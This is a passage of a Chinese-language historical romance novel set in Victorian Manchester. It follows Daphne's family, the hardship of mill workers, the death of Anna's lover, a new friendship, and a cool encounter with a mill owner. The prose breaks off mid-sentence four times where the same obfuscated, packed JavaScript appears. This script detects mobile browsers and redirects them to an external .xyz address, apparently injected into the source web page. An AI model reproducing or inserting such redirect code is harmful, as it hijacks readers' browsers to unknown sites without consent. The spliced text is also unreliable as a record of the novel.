“没错,我们的糖饼摊就支在那儿,那儿和这儿简直是天堂和地狱的差别。”艾乐摇头说。 “你们来这么远做祷告吗?”狄默奇太太只惊讶这个问题。 卡彭特母女却因她的话诧异了一会儿。 “是了,这里是教堂。”艾乐舒口气莫名地说。 黛芙妮却听懂了她的意思,她很肯定地说:“不管是不是教堂,都不能决定我对一个人的态度。” 这下卡彭特母女倒是变得不好意思起来。 “抱歉刚刚我们可能有些——”艾乐和她的母亲对视一眼说,“总之,你们有什么想知道的吗?” 黛芙妮松下不知何时耸起来的肩膀,她露出一个笑来:“你们怎么来这么远的教堂?” 还以为她会问一些令人为难的问题,甚至做好了剖析自己生活的凄苦悲惨的艾乐听到这个简单的问题立马就告诉她:“我们住在布里奇沃特街区,那儿有一个教堂但我和妈妈不喜欢,不如这里虔诚。” “布里奇沃特?”狄默奇太太疑惑。 “就在火车站附近,对于曼彻斯特的下等人来说那儿也不错了,总好过乌鸦窝和休姆街区。”艾乐自嘲道。 “我们上次误入了休姆街区和乌鸦窝边界?确实有些让人不适,但我知道这不能怪那些居民。”黛芙妮说。 “这儿离乌鸦窝不比离布里奇沃特近,你们去的地方一定是休姆街区的边界。”卡彭特太太说,“你们对贫苦的人没有那么多的偏见上帝知道一定很高兴。” “怜悯人的人有福了,因为他们比蒙怜悯。”艾乐轻轻地说,然后吸气加大声音,“不过我劝你们还是远离那里,虽然大多数贫穷不是自我造成的但贪婪和浪费会导致贫穷,那地方的人鱼龙混杂最好还是离远些。” “至少我不觉得你们是不能来往的人,”黛芙妮说,“不过,那些人过得很不好吗?这里不是英国最大的工业城市?我以为工作机会很多。” “你以为有工作就等于拥有一切?不过是一些吊着你命的活计罢了,更何况如今的形势并不好。”卡彭特太太叹息,“不过如你们所了解的曼彻斯特的工厂确实是全国最多的,工作机会再怎么样也比其他地方多,但也如你们在休姆街区看到的那样,这份工作给了你微薄的工资却会剥夺一切积极的情绪。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399922|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你们一周的薪资是多少?”狄默奇太太蹙眉。 “成年男性工人一般是四到五先令一周,女工通常只有男工的一半,童工还要再少一半。”艾乐说。 黛芙妮和狄默奇太太眉毛上的结一个打得比一个复杂。 卡丽作为实际上的女管家名义上的厨房女佣,虽然手下可怜兮兮的只有一个车夫和一个兼职女佣,但她一年也有二十英镑的收入。 车夫是十五英镑一年,兼职女佣大概是七个英镑一年。 这还是因为狄默奇家只是普通中产,要是是上等阶层的佣人远远不止这些薪水。 “虽然一年算下来男工也有十镑左右的收入,但他们日常需要工作十四至十六个小时,若损坏机器扣三个月的薪资,若工作时喝水要罚两天的薪资。”艾乐用一种绝望又恼火的语气述说。 黛芙妮实在是无法想象连喝水都要扣薪资的规定,她颇为义愤填膺地表达了自己的不解和愤怒:“这实在是太过分了!难道不能在签合同的时候就说好条件吗?” “合同?我们可没那东西,再说了即便有又有什么用呢。那些工厂主从不会低头,甚至工人的薪水被一降再降。”卡彭特太太说,“我早些年也在棉纺工厂打工,如今身体不好了便决定支个糖饼摊。” “是因为棉絮吸多了吗?”狄默奇太太小心地问。 “没错,我还算好的,我的一些工友大多早早就肺里生了毛病死了。”卡彭特太太说,“所以我坚决不允许我的孩子们再踏入那吃人的工厂,我们一家都靠糖饼摊和给人帮工过活。” 黛芙妮脸色发白,她是猛地才注意到的,注意到每说几句话卡彭特太太都会拿着帕子咳嗽,大概这就是她说的毛病吧。 “当恶人得势时,世界便充满了邪恶。他们如同豺狼,到处游荡,寻找猎物。”狄默奇太太低语着《圣经》里的语句。 黛芙妮想到了那天在艾肯先生家的见闻,康斯坦丁·路威尔顿先生就是她最早接触的也是唯一接触到的工厂主。 她问艾乐:“你知道康斯坦丁·路威尔顿先生吗?” 艾乐不好奇她怎么知道:“他是一个——复杂的人。” “为什么这么说?”黛芙妮问。 “他并不是天生的有钱子弟,曾经也和我们一样挣扎在泥潭里,后来努力摆脱了低微的身份成了曼彻斯特大工厂主。也许你会觉得他比谁都懂底层工人的痛苦会大力地帮助我们,但恰恰相反他在穿上昂贵西装的时候就变成了彻头彻尾的资本家。” “不过至少有一点他做得有些良心,”卡彭特太太说,“他给他的棉纺工厂都安排了风扇,好让那些棉絮离工人远些。” “这是他们应该做的,那点薪水不足够买工人的命。”艾乐说。 黛芙妮这下彻底不知道该说什么了,对工人的同情还是对那些工厂主的厌恶由她的口说出来都显得轻飘飘的。 甚至于她都想不通为什么艾肯先生会和路威尔顿先生做朋友? 她还想到难怪他那样的傲慢和冷漠大概是因为她身上没有什么他需要的东西吧,对他来说她是个没有利用价值的人。 8. 突如其来的消息 这件事对黛芙妮的影响说大也不大,说没有那是骗人的。 至少近来一天中总有一段时间她有些心不在焉。 当地居民生活水平相差太大难怪底层人民总是没有活力,每天为填饱肚子就要挣扎得筋疲力尽了。 现在想来她也怪不了他们不够热情,也许在他们眼里自己的一举一动反而成了炫耀。 增加薪酬、减少工作时间、提升工作环境哪一样她都做不到。 艾乐口中的折磨和悲惨离她有很长一段距离让她无法绝对的感同身受,但情绪却会翻涌每每想到那天的对话她的内心都很复杂。 “今天的牛排烤得十分美味,厨房还有吗?”狄默奇先生叫住惠特妮问。 “还有两块牛肋排。”惠特妮说。 “那就再拿——” “爸爸!我们一人一份吧。”安娜连忙对狄默奇先生说。 “安娜你最近在增肥吗?”狄默奇太太问,“我建议你保持现有的体重,亲爱的你并没有过瘦。” 安娜磕磕巴巴地又增加了音量:“我最近大概在长身体吧,半夜总是肚子饿。” 黛芙妮回过神来,盯着盘子里没怎么动过的牛肉丁对安娜的话表示怀疑:“卡丽每顿饭都做得十分丰盛,我瞧你也从不去外面转一圈。” “都说了我在长身体!”安娜说完站起来,又对惠特妮说,“别忘了帮我加点土豆泥和蔬菜,放在老地方晚上我自己会来拿的。” 等她离开后,餐桌的气氛才恢复正常。 “二十一岁长身体?稀奇。”狄默奇先生咀嚼沙拉,盯着安娜的背影说,“不知道她最近又打算弄些什么花样,但愿我下班的时间不被打扰。” 狄默奇太太对安娜刚刚对女佣的吩咐感到奇怪,之后她叫住端来牛排的惠特妮:“惠特妮,安娜最近经常吩咐厨房为她留夜宵吗?” 惠特妮很老实地点头:“是的太太。” “从什么时候开始的?” “大约五天前。” “长身体的年纪还没过去?”狄默奇太太不解,“说来安娜最近乖了很多,能老老实实地坐在沙发上绣一下午的花,昨天她甚至独立完成了一块披肩。” “那块她从去年绣到今年的披肩?比有些老太太做个饭还墨迹。”狄默奇先生说。 “你总是这么说安娜,”狄默奇太太不满,“你看不惯她的品性却不加以告诫,年长者应当以智慧教导年轻人,这是我们的责任也是我们的荣耀。” “我是没办法了,伟大的狄默奇太太就看你的了。”狄默奇先生说。 等黛芙妮将餐盘里的最后一粒牛肉丁吃完,狄默奇夫妇还在那儿辩论。 今日没什么心情加入其中,她吃完就离开了。 英国迎来了一波雨季,时常是绵绵细雨伴随阵阵冷风,土腥味和机油味从建筑的各个角落钻出来,为此安娜就没有一天是不发牢骚的。 黛芙妮将半敞开的窗户合拢,将烦躁的雨声和不请自来的雨滴全部拒之门外。 噔噔噔噔,安娜重重地踏着步伐携带坏脾气去了三楼。 “前几天才说她乖了很多,这么快又原形毕露了。”狄默奇太太摇头无奈地说。 黛芙妮重新在椅子上坐下,拿起一顶简单的波奈特帽打算给它增添点光彩:“也许是雨季影响了她的心情。” 卡丽端着托盘从楼下上来,她一边将东西放在矮桌子上一边瞅着楼梯,过了一会儿她才小声说:“我想也许,安娜小姐知道了什么也不一定。” “知道什么?”狄默奇太太放下手里的丝线问,“最近有什么事情发生吗?” “是了,是了,太太和黛芙妮小姐还不知道呢。”卡丽恍然大悟,她抓着机会凑到狄默奇太太和黛芙妮的中间小声说,“我的亲戚前几天来这儿做生意顺便来看看我,他给我带来了一个天大的消息。太太、小姐你们保证一会儿绝对不会尖叫。” 黛芙妮将蝴蝶结绑在帽子侧边,闻言笑了起来但还是配合卡丽的要求:“我保证我能控制住,就是希望物有所值。” 卡丽不服气地嚷嚷:“绝对是个大消息!” 接着她又压低嗓音,一双眼睛直愣愣地瞪着楼梯:“他告诉我利物浦发生一起大案啦!有人在巷子里发现了一具尸体,听警方说大概是被喝醉的流浪汉打死的!” 这消息确实会让人惊讶可完全没有卡丽所表达得那么夸张。 狄默奇太太倒是不打算打击忠仆的行为:“哎呀,真吓人。” 卡丽看出她们过多的敷衍又说:“就发生在曾经的狄默奇老宅附近!” 这倒是让黛芙妮和狄默奇太太真的惊讶了。 可是:“这和安娜有什么关系?”,黛芙妮这样问卡丽。 “怎么没关系,安娜小姐不是有个秘密情人,听说那个死掉的倒霉鬼就是她的情人!”卡丽将自己听到的结合自己的猜测一股脑地说了出来,“那人死在老宅子的后巷,听说死前经常有人看到他在那儿徘徊。” 狄默奇太太惊的再也顾不上整理丝线了,她忙问:“是那个住在古罗街的小子?” 卡丽猛点头。 黛芙妮要理智一些,震惊过后她问:“警方确定了吗?” “我亲戚来的时候还没确认身份。” “那你怎么就说是他?”狄默奇太太说。 “因为就是我亲戚报的案!他见过那个小子来找安娜小姐,认得他经常带的一块帕子,而且第二天那小子的店根本没开!” “天呐,天呐!”狄默奇太太捂着胸口,“他还那样的年轻!” 黛芙妮没见过那人的长相,只听从前的佣人提过一句长得还算英俊经营着一间不大的店铺,虽然父亲一直对这件事持反对意见母亲和她也不大赞同但如今听闻这个消息还是觉得太遗憾了。 “好在安娜小姐搬来了曼彻斯特,不然真不敢想她会有多伤心。”卡丽唏嘘地摇头。 “你不是说她知道了一些消息?”黛芙妮说。 “噢,是的!瞧我的记性,但我肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399923|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她知道得不多,也许只得到了那小子出了意外的事。”卡丽说。 “别和她说,千万别让她再知道些什么了。”狄默奇太太缓过来道,“可怜的安娜。” 狄默奇太太忍不住一直念叨,怪不得安娜最近脾气不好、食欲也增加了,原来是内心受了极大的创伤。 这会儿她再也不对大女儿反常的态度抱着不赞同的想法了,她现在恨不得立刻去安慰安娜让她别太沉浸在悲伤中。 “也许我该给艾莫斯先生做个祷告。”狄默奇太太这样对黛芙妮说,“愿他死后能上天堂。” 黛芙妮表示她也会为这位可怜的先生献上一份善意。 第二日安娜发现妈妈和妹妹莫名地总是对她露出怜爱的表情,她摸不着头脑又没时间浪费在琢磨缘由上。 在享受了怜爱的好处后,她就更不会去问了。 因为一天晚上,在她又不小心说错话的时候连父亲都不对她的行为嗤之以鼻,她当即将这份没来由的包容心安理得地接受起来。 足足两周她在一百零八号过得像女王一样,任凭怎么发号施令都没人站出来反驳她。 而黛芙妮在足足忍受了比从前还要过分的安娜两周后,终于是忍不住在夜晚独自向上帝祈求,希望安娜能快些走出感情的悲痛中否则她就要不幸地步入抑郁的沼泽了。 在狄默奇先生第五次‘不经意’地提出:“安娜似乎看上去大好了。”后,一家三口外加三位仆人都一致同意地结束‘安娜女王的统治时期’。 安娜郁闷地发现她才享受了两周本该的生活就被打回了原形,这件事让一开始发现的她格外暴躁。 因为得了其他三位主人的默许,连惠特妮都忍不住拒绝安娜:“安娜小姐,这会儿已经是下班时间了,我得回家去。” 安娜气急败坏地要求狄默奇太太解雇惠特妮。 狄默奇太太温柔的抚摸她的头发,在听完她的诉求后很抱歉地拒绝了她,理由是惠特妮是个非常合格的女佣,从不偷懒从不多嘴。 在安娜大发脾气的时候,英国上半年大规模的连绵雨季终于过去了。 太阳久违的出现在高空,黛芙妮从未觉得自己是如此的想念它,而安娜在确定自己再也回不去从前无法无天的日子后又灵活地缩起尾巴,不过一天一顿的夜宵还是少不了的。 狄默奇太太将这个行为归于安娜这段失败感情留下的长久后遗症,完全不加干涉并且说:“至少比不吃不喝来得好,不是吗?” 黛芙妮和艾乐也没有成为亲近的朋友。 有一天用了一个晚上的思考时间她理智地分析,每当她露出想要和艾乐更亲近的时候对方总会往后退,次数多了以后她也品出味了,艾乐对她的身份还是有些芥蒂的。 也许她在曼彻斯特会抑郁而终,没有朋友、没有爱人,等父母去世后和姐姐也不会有什么来往。 她难受地翻了身,明天需要出门散散步晒晒太阳了,有利于身心健康发展,就是不知道哪个地方的烟雾能轻薄些。 9. 邻居一家 “太太,楼下有一户人家来拜访。”惠特妮提着裙子从大门跑来会客室,对正在享受二位女儿都安静地做着自己的事又不忘陪伴她的狄默奇太太说。 安娜第一个做出反应,她疑惑地转动脑袋:“我们家还有除了艾肯先生和库克先生以外愿意来的人吗?” “安娜,别说得这么可怜。”狄默奇太太说,“我们在利物浦的时候可是有好几户常来往的朋友们。” “你也说了是利物浦了,可惜在这里我们是不讨喜的外地人。”安娜有气无力地弯下脊椎。 狄默奇太太不理会她的丧气,对于有新客人上门她格外激动,搬来快一个月了总算不用天天围着面前几人转悠。 “我想一定是刚从什罗普郡回来的亨斯通一家,前天那家的男主人不就先来拜访了你们爸爸吗?”狄默奇太太说。 因为惠特妮总是你问她说,你不问她是一个字都不会多说,所以黛芙妮多问了她一句想要确定是否是亨斯通一家:“是隔壁那户人家吗?” “是的,是住在牛津路一百十五号的亨斯通太太和她的几位儿女。”惠特妮说。 “我果然没猜错。”接着狄默奇太太难得见的有些生气,“真是太失礼了让他们在门口等待,快去!把客人请进来。” 惠特妮立马提起裙摆跑起来。 黛芙妮和安娜坐直身子整理领口和袖口以及头发,和狄默奇太太一起等待。 虽然很不礼貌但是黛芙妮在第一眼见到亨斯通太太的时候就觉得她像只大鹅,脖颈似乎不会弯曲、下巴被固定在一个角度、眼睛圆溜溜的嘴巴有点凸。 安娜一直盯着她看,在被黛芙妮用手肘顶了一下后才有所收敛。 她还带了三个孩子过来,其中两个是女孩看着和安娜、黛芙妮差不多年纪,儿子要小些大概十三四岁。 “狄默奇太太,原谅我们现在才上门拜访。”亨斯通太太说。 狄默奇太太连连摆手:“你们刚从什罗普郡回来,说来应该是我们去拜访你们,但是亨斯通先生太热情了。” 两户人家的交往常常由先生发起,接着是太太们联络最后发展到孩子们的来往。 在双方互相介绍过后,亨斯通太太的小儿子最先坐不住,他在喝了一杯红茶吃了半碟点心后鼓着肚子站起来。 “摩西,快坐下来。”亨斯通太太对他说。 摩西蹙起脸:“妈妈,我想站一会儿。” 狄默奇太太善意地让安娜带着亨斯通家的三个孩子去房子的其他地方转转。 安娜走在前边打算带他们去一楼的另一间小些的会客室。 亨斯通家的大女儿贝拉作为小一辈的亨斯通家的领头羊跟在安娜身边,几人一直聊着不远不近的话题。 黛芙妮和亨斯通家的小女儿克洛伊还有摩西走在最后面。 “听说你们是从利物浦搬来的,虽然我从没去过但那儿一直是我想去的地方之一。”摩西坐在单人小椅子上,双手放在扶手处,坐下后第一个开口。 “我最喜欢马修街上的精品店,他们的帽子总是能让我站在那儿看一下午。”安娜说,“不过我现在发现曼彻斯特的精品店比那儿还要时髦些。” “伦敦来的新货色第一个就要送到这儿,甚至一些外国货还会从这儿送往伦敦。”贝拉说。她和亨斯通太太长得有些相像但总体来看并不容易让人联想到某种动物。 “那儿就没有什么美味的店铺?”摩西显然对女人的衣物不感兴趣。 “那我推荐你一定要去波德大街尝尝炖肉汤,那是利物浦的招牌。”黛芙妮对他说。 摩西满意地点头:“谢谢你的建议,黛芙妮小姐。” 贝拉望了一圈四周,她起身来到一面书架前饶有兴趣地取出一本《远大前程》阅读起来。 黛芙妮意外她会对这样的书籍感兴趣便有心和她交谈:“亨斯通小姐,你喜欢这本书?” 贝拉回头对黛芙妮露出一个笑容:“是不是有些奇怪,一位小姐喜欢这样的书。” “除非你还爱看那些哲学,不然我们没什么区别。”黛芙妮说。 贝拉用一种惊喜的眼神望向黛芙妮:“我不喜欢看哲学那太枯燥了,我时常想还好我不是男人不然爸爸一定会逼我看那些可怕的书籍,像《法学讲演录》《早期法律与习俗》。” “我爸爸不会让我看关于法律的书籍但他时不时会问我一些关于自然哲学的数学原理问题,我简直是不愿意回想。”黛芙妮叹息地捂住额角。 两人相视一笑,黛芙妮那颗渴望交新朋友的心又再次点燃。 “这本《远大前程》比我家里那本用词更加贴切,也许我该考虑重新买一本了。”贝拉合上书本晃了晃,“希望书店有这本。” “别的我不敢说,至少这本书我还是能做主借给你的。”黛芙妮笑着说。 贝拉的妹妹克洛伊坐着无聊加入了她们的谈话,她看清贝拉手里拿着的书顿感无趣:“我一直搞不懂乔为什么还要对皮普伸出援手明明皮普在伦敦对他如此过分,也搞不懂皮普为什么非得执着于埃斯特拉。要不是旅途中太无聊了我一定不会在这本书上浪费时间。” “这大概就是狄更斯说的‘美德不仅见于衣着光鲜的人身上,也见于衣衫褴褛的人身上’吧。”黛芙妮说,“至于为什么非得执着于埃斯特拉,我想除了她美丽的皮囊外,最主要的是她是皮普内心‘上等人’的化身,是让他自卑让他渴望让他想要征服的对象。” 贝拉思索着补充:“当然这不是说皮普对埃斯特拉的执着不是爱,我反倒觉得这是一种超越自我认知的情感,是他的精神支柱。” “我说不过你们。”克洛伊连忙举手示弱,又对贝拉调侃道,“贝拉你这下可不孤独了。” “你说得对。”贝拉说着看向黛芙妮,向她发出邀请,“黛芙妮你千万别叫我亨斯通小姐了,我迫切地希望和你拉近距离,如果你有时间的话可否后日一起出去走走?” “当然!”黛芙妮惊喜地点头。 相比于狄默奇太太刚开始的期盼到最后的失望和安娜一开始就没有的期望来说,黛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399924|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芙妮反倒是最开心的一个。 餐桌上,狄默奇先生问她:“什么事让我们的小黛菲这么高兴?” “我有一个新朋友了。”黛芙妮挺直背脊很正经地说,“就是亨斯通先生的大女儿,贝拉。噢对了爸爸,我把那本《远大前程》借给她了,贝拉说一周她就能看完。” “用一本书就为你换到一个朋友这可真是太划算了,这样的好处还有没有了?”狄默奇先生愉悦地说,“我起码能给你换上百个新朋友,不过你最好分一点给你妈妈和你姐姐,免得她们总是在家里唠叨。” 狄默奇太太和安娜同时对他表达不满。 “我从来不是贪心的人,你们拿去吧!”黛芙妮对他们说。 狄默奇先生乐呵呵地笑着。 在黛芙妮的期盼下‘后日’终于到了,她从早上就开始为自己梳妆打扮力求把自己最完美最得体的一面展现在新朋友面前。 下午阳光正好,黛芙妮将新做的浅绿色带蕾丝和蝴蝶结的波奈特帽系在头上,戴上手套拎着一个小巧的绿色布袋去见等待的贝拉。 “黛芙妮,我们走走怎么样?比起马车我更喜欢走路,这样能见到更多彩的风景,并且能随时停下。”贝拉说。 于是两人挽着手,朝右边的街道走去,那里有好几间不错的书店正适合她们打发时间。 “我可太想念这样的生活了。”黛芙妮对贝拉说。 “曼彻斯特是不是和你想象得不太一样,特别是这里的居民?”贝拉问。 “是的,大多数人永远是行色匆匆的,拒绝交流、拒绝抬头、拒绝笑容。”黛芙妮无奈地扯起嘴角然后又深呼吸提起心情,“至少我还是幸运的,我比妈妈和姐姐都要快地交到一个朋友。” “那你可太幸运了,我在这儿生活了二十年可只有你一个聊得来的朋友。”贝拉说,“女孩们总是说帽子、花边、小伙子,我不是说不能这么做只是时间久了难免无趣,看书也不过是聊以慰藉从里面获取不一样的乐趣。” “说起来在这之前我还尝试过与另一位姑娘交好,但很可惜失败了。”黛芙妮遗憾地说。 她又想起了初次和卡彭特母女对话那回,最可惜的还是之后的几次主日她们没能坐下来好好交流,卡彭特母女匆匆地来又匆匆地走了。 “虽然我们才第二次见面但我就是知道你是个甜妞,能拒绝你的人一定不多见。” “感谢夸赞,但它是真实的。”黛芙妮说,“我能感觉到横在我和她之间的是身份地位。” “你这么说我就好奇了,那位小姐是什么身份?” 两人正好走进一家书店。 “她住在布里奇沃特街区,我们是在教堂认识的。”黛芙妮放低了音量不想打扰别人也不想被人听见,“是位很现实也很正直善良的姑娘。” 贝拉看了她几眼:“这下倒是让我稀奇了,不过我对你的了解又多了一点至少绝不在你面前提起‘13’这个数字。” “你提到了。”黛芙妮对她说。 “噢,抱歉!” 10. 偶遇 黛芙妮和贝拉在书店翻阅了两个小时才心满意足地提着新书籍出来。 两人决定去咖啡店坐会儿,最后选了一个临街正好能将外面一览无余的位置。 店内很安静没什么客人,座椅用具也不廉价,很适合她们这样家庭出来的年轻小姐消磨时光。 嘬饮咖啡,心急地翻开书本,黛芙妮觉得她能在这儿耗上一整天的时间。 一时耳边只有指尖触碰纸张的摩擦声和瓷杯与瓷碟碰撞的敲击声。 直到喝完一杯咖啡,黛芙妮和贝拉才意犹未尽地打算起身离开。 “现在还不如去前方走走,那儿有一条河。”贝拉提议道。 黛芙妮和她收拾书本决定去看看,正好河边又是她未涉足的地方。 “河边还有一家歌剧院,门票不算特别昂贵,昂贵的是那些客人的身份。我一向认为艺术是没有任何约束的,决定它价值的从来不应该是红丝绒的坐垫。”贝拉为黛芙妮介绍这附近的店面。 路过最后一家书店,她们往右转很快就看了一条宽阔的河流,黛芙妮快步过去趴在栏杆处往下望。 这条河流的河面上行驶着许多船只,岸边搭建了一些简陋的木制平台,有不少工人站在上面。 水并不清澈反倒带有一点黑和浑浊但这里的热闹却是自然的乡下没法比的。 第一次见这样场面的黛芙妮好半晌才回过神来,她问贝拉:“这条河真大,它从哪里来?” “这可不算大,真正称得上庞大的是曼彻斯特郊区的布里奇沃特运河,连接沃斯利煤田和曼彻斯特,还延伸至利物浦。”贝拉扶着帽子说,“这儿的风有些大,我们往里站些吧。” 黛芙妮为自己之前从未想着往这里走上一走的想法感到懊悔:“我真应该多出来走走的,我浪费了很多时间。” “你有去过曼彻斯特大教堂吗?”贝拉问。 两人沿着河岸漫步。 “没有,但我听教堂里的人说起过。” “那儿很壮观,是曼彻斯特教区的主教堂,位于市中心,一座中世纪垂直哥特式风格的建筑。” “那我一定得去瞧瞧了。” “看,那就是豪华剧院!”贝拉指着街边的红砖建筑说。 剧院门口和对街停着很多华丽的四轮大马车,那些等待中的车夫互相呦呵着闲聊,街边两侧还有不少卖报、卖花和擦皮鞋的小孩和女人。 黛芙妮没想到在这儿居然能遇见熟人。 路威尔顿先生似乎要离开这儿了,他扶着马车门打算迈进去但他的眼睛却飞快地瞥见了黛芙妮。 “黛芙妮小姐。”他收回放在车门上的手,双指触碰帽檐上前来向她打招呼。 黛芙妮和贝拉走上前:“路威尔顿先生,您刚看完歌剧吗?” 炭灰色的精纺棉呢外套里露出一点提花马甲,袖口和领口点缀花边,怀表金链横跨马甲口袋。 做工精良的西装将他宽阔高大的身形紧紧裹住,手里的红宝石黑檀木手杖被他随意地夹在胳膊下。 白皙的皮肤和他深黑色的眼珠子形成鲜明的对比,棱角分明的脸庞每一处都透着冷漠,说话一直有股淡漠的特质。 “是的,你们——在这附近散步?”路威尔顿先生看了眼贝拉。 “是的。这是我的邻居,贝拉·亨斯通。”黛芙妮说,在介绍路威尔顿先生的时候措辞有些停顿,“贝拉,这是我爸爸朋友——的朋友,路威尔顿先生。” “你好,路威尔顿先生。”贝拉点头。 路威尔顿先生是个很不会聊天的人,至少在黛芙妮这里是这样的以至于她都不知道接下来说些什么。 也许主动开口离开会有面子些?但会不会有些突兀? 作为唯一认识两方的黛芙妮观察了一圈注意到马车窗户透出的一小节白色衣袖,笑着开口:“路威尔顿先生似乎有事要忙,正好我和贝拉要去前方。” 路威尔顿先生注意到了她看向马车的目光:“里面是我妹妹多琳,我和她来看歌剧,《地狱中的奥尔菲斯》。” 他没有顺着黛芙妮的话就势离开反倒解释了马车里的人以及来做什么,让黛芙妮不得不继续和他交谈。 “多琳。”路威尔顿先生用手杖敲击车门。 黛芙妮发现他即使是对自己的妹妹说话也冷冰冰的,一副公事公办的腔调。 “黛芙妮小姐、亨斯通小姐,原谅我身体不适吹不了风不能和你们亲切地握手交谈说些俏皮话,十分抱歉希望你们别感到受了冷落。” 即使还未见到这位路威尔顿小姐,但黛芙妮就觉得她和路威尔顿先生非常相像,两人说话都没有什么起伏,透露着一股一脉相承的味道。 她话虽然说得漂亮,可语气和刚刚路威尔顿先生的态度都显露出她并没有生病或者说能来看歌剧就没有病到见不了人的情况。 那么她不愿意与黛芙妮和贝拉见面只有一个可能了,她不屑和她们多说一句话。 黛芙妮良好的修养不允许她在受到一点冷落就愤怒地离场,她照常露出一点笑容确保自己是位亲和的姑娘:“没关系,要是耽误了您的病情,我和贝拉将愧疚不已。” 路威尔顿小姐不再说话,路威尔顿先生的脸色却更加冷峻了一些,不过他也没有强迫自己的妹妹下来,他对黛芙妮和贝拉表示歉意和希望她们谅解妹妹柔弱的身体。 “别再说啦,先生。”黛芙妮用轻松的语气堵住他的话语。 “你们要去哪里?”路威尔顿又问起其他来,“需要我送你们一程吗?” 黛芙妮和贝拉对视一眼,说:“不了先生,我们没有目的,大概沿着这条河岸走上一小会儿就回去了。” 路威尔顿先生点头,就在黛芙妮以为他还要说些什么的时候他干脆利索地摸上帽檐与她们道别。 他迈上马车,最后一点衣角消失在车门后面。 康斯坦丁上车后一言不发只侧过脸去瞧车窗外逐渐消失的身影。 “你在看什么?”多琳问他。 他并没有回答多琳。 “黛芙妮·狄默奇?还是贝拉·亨斯通?我猜是那个狄默奇家的小姐。”多琳也不在意哥哥不回答她,自顾自地说,“漂亮的脸蛋、优雅的仪态、得体的谈吐,但是我不是很喜欢她。” 康斯坦丁往后一靠,浸在黑暗的密网里:“她并不需要你的喜欢。” “可她也不喜欢你。”多琳勾起嘴角有些愉悦,“尽管她对你非常客气但我还是察觉到她的高傲,表现在——不愿多和你交谈几句,对你的帮助避之不及,不太情愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399925|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的和朋友介绍你的身份,‘父亲朋友的朋友’。” 康斯坦丁摸索着手杖上的红宝石,在黑暗中看着她,直到她坚持不住闭上嘴。 黛芙妮和贝拉目送他们远去,然后继续朝前方漫步。 “你居然还和那位先生认识,真是出乎我的想象。”贝拉挽着她的手说,“他也正如我听闻的那样十分英俊。” “我以为你要说,傲慢、冷漠、瞧不起人。”黛芙妮勾起嘴角。 “我倒不认同你的看法。”贝拉说。 黛芙妮有些吃惊:“那就说说你的。” “他对我的态度确实称得上一句冷漠。” “瞧吧。” “可他对你是有礼的,寻常的社交也就这样,他做得没有哪一处没到位或是出格。他瞧见你主动向你打招呼接着又希望不得体的妹妹出面做做样子,最后又体贴地问是否需要帮助,我想我不能昧着良心说他没有礼貌。”贝拉说。 黛芙妮承认她说得有道理,可她有另外的途径来支持自己的观点:“那你一定是不知道在我们有一次独处的时候他一次都没有主动和我说过话,你可千万别说他不好意思打扰我,反倒是我主动和他搭话然后等着下文结果什么也没有。” “不过也许能勉强说他观察心细察觉我还要继续阅读,可回来后爸爸就和我说当这位先生面对他们的时候一点没有冷淡的,他侃侃而谈的样貌甚至赢得了爸爸对他的好感。” “那他对其他姑娘是什么态度?”贝拉问。 黛芙妮思考:“倒是和我差不多。关于这点我也考量过,我听闻他今年二十八岁未曾订婚,大概是不想让我们这些无知愚蠢的姑娘打扰他的事业。” 贝拉咯咯笑了起来:“我倒是可以大胆猜想一下,也许他不知道怎么和姑娘们相处。” “噢,贝拉,我不相信他二十八年的人生里一个情人都没有经历过。”黛芙妮立刻否定贝拉的想法。 贝拉还是那副笑意盈盈的样子:“作为曼彻斯特的名人,这位先生的生平我还真了解一些。” 这话又勾起了黛芙妮的好奇心。 “他出生于乌鸦窝,靠着捕鱼捞货赚了第一桶金后来听说赶上了淘金热,之后又和别人跑去国外做生意,三年前归来创办了棉纺厂,听闻他在瑞士的银行存了很大一笔钱有人推测起码有一百万英镑。”贝拉说。 